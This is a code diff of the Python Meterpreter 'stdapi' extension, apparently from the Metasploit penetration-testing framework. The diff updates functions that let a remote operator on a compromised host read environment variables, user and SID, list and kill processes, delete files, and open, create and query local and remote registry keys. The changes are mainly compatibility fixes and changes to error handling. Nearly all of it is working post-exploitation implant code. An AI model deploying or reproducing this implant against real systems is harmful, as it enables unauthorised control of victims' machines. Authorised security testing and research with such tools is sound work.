6060 bytes = lambda * args : str (* args [:1 ])
6161 NULL_BYTE = '\x00 '
6262else :
63- is_str = lambda obj : issubclass (obj .__class__ , __builtins__ ['str' ])
63+ if isinstance (__builtins__ , dict ):
64+ is_str = lambda obj : issubclass (obj .__class__ , __builtins__ ['str' ])
65+ str = lambda x : __builtins__ ['str' ](x , 'UTF-8' )
66+ else :
67+ is_str = lambda obj : issubclass (obj .__class__ , __builtins__ .str )
68+ str = lambda x : __builtins__ .str (x , 'UTF-8' )
6469 is_bytes = lambda obj : issubclass (obj .__class__ , bytes )
65- str = lambda x : __builtins__ ['str' ](x , 'UTF-8' )
6670 NULL_BYTE = bytes ('\x00 ' , 'UTF-8' )
6771 long = int
6872
@@ -501,6 +505,8 @@ class RTATTR(ctypes.Structure):
501505IFA_ADDRESS = 1
502506IFA_LABEL = 3
503507
508+ meterpreter .register_extension ('stdapi' )
509+
504510def calculate_32bit_netmask (bits ):
505511 if bits == 32 :
506512 return 0xffffffff
@@ -669,8 +675,10 @@ def channel_open_stdapi_net_tcp_server(request, response):
669675@meterpreter .register_function
670676def stdapi_sys_config_getenv (request , response ):
671677 for env_var in packet_enum_tlvs (request , TLV_TYPE_ENV_VARIABLE ):
672- pgroup = ''
673- env_var = env_var ['value' ].translate (None , '%$' )
678+ pgroup = bytes ()
679+ env_var = env_var ['value' ]
680+ env_var = env_var .replace ('%' , '' )
681+ env_var = env_var .replace ('$' , '' )
674682 env_val = os .environ .get (env_var )
675683 if env_val :
676684 pgroup += tlv_pack (TLV_TYPE_ENV_VARIABLE , env_var )
@@ -682,23 +690,25 @@ def stdapi_sys_config_getenv(request, response):
682690def stdapi_sys_config_getsid (request , response ):
683691 token = get_token_user (ctypes .windll .kernel32 .GetCurrentProcess ())
684692 if not token :
685- return ERROR_FAILURE , response
693+ return error_result_windows () , response
686694 sid_str = ctypes .c_char_p ()
687695 if not ctypes .windll .advapi32 .ConvertSidToStringSidA (token .User .Sid , ctypes .byref (sid_str )):
688- return ERROR_FAILURE , response
696+ return error_result_windows () , response
689697 sid_str = str (ctypes .string_at (sid_str ))
690698 response += tlv_pack (TLV_TYPE_SID , sid_str )
691699 return ERROR_SUCCESS , response
692700
693701@meterpreter .register_function
694702def stdapi_sys_config_getuid (request , response ):
695- if has_windll :
703+ if has_pwd :
704+ username = pwd .getpwuid (os .getuid ()).pw_name
705+ elif has_windll :
696706 token = get_token_user (ctypes .windll .kernel32 .GetCurrentProcess ())
697707 if not token :
698- return ERROR_FAILURE , response
708+ return error_result_windows () , response
699709 username = get_username_from_token (token )
700710 if not username :
701- return ERROR_FAILURE , response
711+ return error_result_windows () , response
702712 else :
703713 username = getpass .getuser ()
704714 response += tlv_pack (TLV_TYPE_USER_NAME , username )
@@ -786,9 +796,9 @@ def stdapi_sys_process_kill(request, response):
786796 k32 = ctypes .windll .kernel32
787797 proc_h = k32 .OpenProcess (PROCESS_TERMINATE , False , pid )
788798 if not proc_h :
789- return ERROR_FAILURE , response
799+ return error_result_windows () , response
790800 if not k32 .TerminateProcess (proc_h , 0 ):
791- return ERROR_FAILURE , response
801+ return error_result_windows () , response
792802 elif hasattr (os , 'kill' ):
793803 os .kill (pid , 9 )
794804 else :
@@ -855,7 +865,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
855865 proc_snap = k32 .CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS , 0 )
856866 result = k32 .Process32First (proc_snap , ctypes .byref (pe32 ))
857867 if not result :
858- return ERROR_FAILURE , response
868+ return error_result_windows () , response
859869 while result :
860870 proc_h = k32 .OpenProcess ((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ ), False , pe32 .th32ProcessID )
861871 if not proc_h :
@@ -935,8 +945,7 @@ def stdapi_fs_delete_dir(request, response):
935945@meterpreter .register_function
936946def stdapi_fs_delete_file (request , response ):
937947 file_path = packet_get_tlv (request , TLV_TYPE_FILE_PATH )['value' ]
938- if os .path .exists (file_path ):
939- os .unlink (file_path )
948+ os .unlink (file_path )
940949 return ERROR_SUCCESS , response
941950
942951@meterpreter .register_function
@@ -1338,10 +1347,10 @@ def stdapi_registry_create_key(request, response):
13381347 base_key = ctypes .create_string_buffer (bytes (base_key , 'UTF-8' ))
13391348 permission = packet_get_tlv (request , TLV_TYPE_PERMISSION ).get ('value' , winreg .KEY_ALL_ACCESS )
13401349 res_key = ctypes .c_void_p ()
1341- if ctypes .windll .advapi32 .RegCreateKeyExA (root_key , ctypes .byref (base_key ), 0 , None , 0 , permission , None , ctypes .byref (res_key ), None ) = = ERROR_SUCCESS :
1342- response += tlv_pack ( TLV_TYPE_HKEY , res_key . value )
1343- return ERROR_SUCCESS , response
1344- return ERROR_FAILURE , response
1350+ if ctypes .windll .advapi32 .RegCreateKeyExA (root_key , ctypes .byref (base_key ), 0 , None , 0 , permission , None , ctypes .byref (res_key ), None ) ! = ERROR_SUCCESS :
1351+ return error_result_windows (), response
1352+ response += tlv_pack ( TLV_TYPE_HKEY , res_key . value )
1353+ return ERROR_SUCCESS , response
13451354
13461355@meterpreter .register_function_windll
13471356def stdapi_registry_delete_key (request , response ):
@@ -1432,33 +1441,31 @@ def stdapi_registry_open_key(request, response):
14321441 base_key = ctypes .create_string_buffer (bytes (base_key , 'UTF-8' ))
14331442 permission = packet_get_tlv (request , TLV_TYPE_PERMISSION ).get ('value' , winreg .KEY_ALL_ACCESS )
14341443 handle_id = ctypes .c_void_p ()
1435- if ctypes .windll .advapi32 .RegOpenKeyExA (root_key , ctypes .byref (base_key ), 0 , permission , ctypes .byref (handle_id )) = = ERROR_SUCCESS :
1436- response += tlv_pack ( TLV_TYPE_HKEY , handle_id . value )
1437- return ERROR_SUCCESS , response
1438- return ERROR_FAILURE , response
1444+ if ctypes .windll .advapi32 .RegOpenKeyExA (root_key , ctypes .byref (base_key ), 0 , permission , ctypes .byref (handle_id )) ! = ERROR_SUCCESS :
1445+ return error_result_windows (), response
1446+ response += tlv_pack ( TLV_TYPE_HKEY , handle_id . value )
1447+ return ERROR_SUCCESS , response
14391448
14401449@meterpreter .register_function_windll
14411450def stdapi_registry_open_remote_key (request , response ):
14421451 target_host = packet_get_tlv (request , TLV_TYPE_TARGET_HOST )['value' ]
14431452 root_key = packet_get_tlv (request , TLV_TYPE_ROOT_KEY )['value' ]
14441453 result_key = ctypes .c_void_p ()
1445- result = ctypes .windll .advapi32 .RegConnectRegistry (target_host , root_key , ctypes .byref (result_key ))
1446- if (result == ERROR_SUCCESS ):
1447- response += tlv_pack (TLV_TYPE_HKEY , result_key .value )
1448- return ERROR_SUCCESS , response
1449- return ERROR_FAILURE , response
1454+ if ctypes .windll .advapi32 .RegConnectRegistry (target_host , root_key , ctypes .byref (result_key )) != ERROR_SUCCESS :
1455+ return error_result_windows (), response
1456+ response += tlv_pack (TLV_TYPE_HKEY , result_key .value )
1457+ return ERROR_SUCCESS , response
14501458
14511459@meterpreter .register_function_windll
14521460def stdapi_registry_query_class (request , response ):
14531461 hkey = packet_get_tlv (request , TLV_TYPE_HKEY )['value' ]
14541462 value_data = (ctypes .c_char * 4096 )()
14551463 value_data_sz = ctypes .c_uint32 ()
14561464 value_data_sz .value = ctypes .sizeof (value_data )
1457- result = ctypes .windll .advapi32 .RegQueryInfoKeyA (hkey , value_data , ctypes .byref (value_data_sz ), None , None , None , None , None , None , None , None , None )
1458- if result == ERROR_SUCCESS :
1459- response += tlv_pack (TLV_TYPE_VALUE_DATA , ctypes .string_at (value_data ))
1460- return ERROR_SUCCESS , response
1461- return ERROR_FAILURE , response
1465+ if ctypes .windll .advapi32 .RegQueryInfoKeyA (hkey , value_data , ctypes .byref (value_data_sz ), None , None , None , None , None , None , None , None , None ) != ERROR_SUCCESS :
1466+ return error_result_windows (), response
1467+ response += tlv_pack (TLV_TYPE_VALUE_DATA , ctypes .string_at (value_data ))
1468+ return ERROR_SUCCESS , response
14621469
14631470@meterpreter .register_function_windll
14641471def stdapi_registry_query_value (request , response ):
@@ -1486,7 +1493,7 @@ def stdapi_registry_query_value(request, response):
14861493 else :
14871494 response += tlv_pack (TLV_TYPE_VALUE_DATA , ctypes .string_at (value_data , value_data_sz .value ))
14881495 return ERROR_SUCCESS , response
1489- return ERROR_FAILURE , response
1496+ return error_result_windows () , response
14901497
14911498@meterpreter .register_function_windll
14921499def stdapi_registry_set_value (request , response ):
0 commit comments